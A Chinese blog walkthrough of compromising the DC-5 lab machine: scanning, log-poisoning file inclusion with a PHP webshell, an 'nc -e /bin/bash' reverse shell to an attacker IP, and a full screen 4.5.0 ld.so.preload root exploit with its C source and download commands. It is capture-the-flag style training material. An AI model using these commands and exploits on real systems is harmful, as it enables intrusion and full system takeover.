渗透测试实战-DC-5-靶机入侵

352 阅读2分钟

​本文已参与「新人创作礼」活动,一起开启掘金创作之路。

搭建靶场

链接:pan.baidu.com/s/1L-fHw8bN… 
提取码:8r7m 

启动

获取其IP地址

nmap -sP 192.168.1.2/24

得到其IP地址为192.168.1.168

nmap -A 192.168.1.168 -p 1-65535 -oN nmap.A

80端口开放,我们尝试访问

使用御剑扫描网站目录

bp 爆破

我们猜测可能存在文件包含

测试是否为动态包含

使用bp 爆破变量名

得到其变量名为file

上传执行木马

文件包含会将包含文件中的php 代码执行,可以通过在系统日志中写入代码,在通过文件文件包含系统日志文件去执行相关php 代码

找到系统日志文件

/var/log/nginx/access.log

将一句话木马写入日志文件

尝试使用蚁剑连接

连接成功

反弹shell ,建立长久性的连接

nc -e /bin/bash 192.168.1.164 2333

反弹成功

nc -lvvp 2333

python -c 'import pty;pty.spawn("/bin/bash")'

提权

查找具有SUID 标志的命令

find / -perm -4000 2>/dev/null

发现screen 4.5.0 存在一个本地特权提升的漏洞

cp /usr/share/exploitdb/exploits/linux/local/41154.sh ./41154.sh

cat 41154.sh

kali 在当前目录下开启http 服务

python -m SimpleHTTPServer

在/tmp 目录下下载wenjian

wget http://192.168.1.164:8000/41154.sh

给执行权限

chmod 777 41154.sh

执行失败

打开41154.sh 脚本文件,尝试本地编译其内的两个c语言程序,将该脚本拆分成3部分,具体内容如下

查看脚本

----libhax.c

#include <stdio.h>

#include <sys/types.h>

#include <unistd.h>

__attribute__ ((__constructor__))

void dropshell(void){

    chown("/tmp/rootshell", 0, 0);

    chmod("/tmp/rootshell", 04755);

    unlink("/etc/ld.so.preload");

    printf("[+] done!\n");

}

编译,生成libhax.so 文件

gcc -fPIC -shared -ldl -o libhax.so libhax.c

-------rootshell.c

#include <stdio.h>

int main(void){

    setuid(0);

    setgid(0);

    seteuid(0);

    setegid(0);

    execvp("/bin/sh", NULL, NULL);

}

编译,生成rootshell 文件

gcc -o rootshell rootshell.c

----getshel.sh

#!/bin/bash

# screenroot.sh

# setuid screen v4.5.0 local root exploit

# abuses ld.so.preload overwriting to get root.

# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html

# HACK THE PLANET

# ~ infodox (25/1/2017)

echo "[+] Now we create our /etc/ld.so.preload file..."

cd /etc

umask 000 # because

screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed

echo "[+] Triggering..."

screen -ls # screen itself is setuid, so...

/tmp/rootshell

本地开启http服务

python -m SimpleHTTPServer

靶机/tmp 目录下远程下载

wget http://192.168.1.164:8000/rootshell

wget http://192.168.1.164:8000/libhax.so

wget http://192.168.1.164:8000/getshel.sh

运行getshel.sh 文件,进行提权

提权成功,拿到flag

​​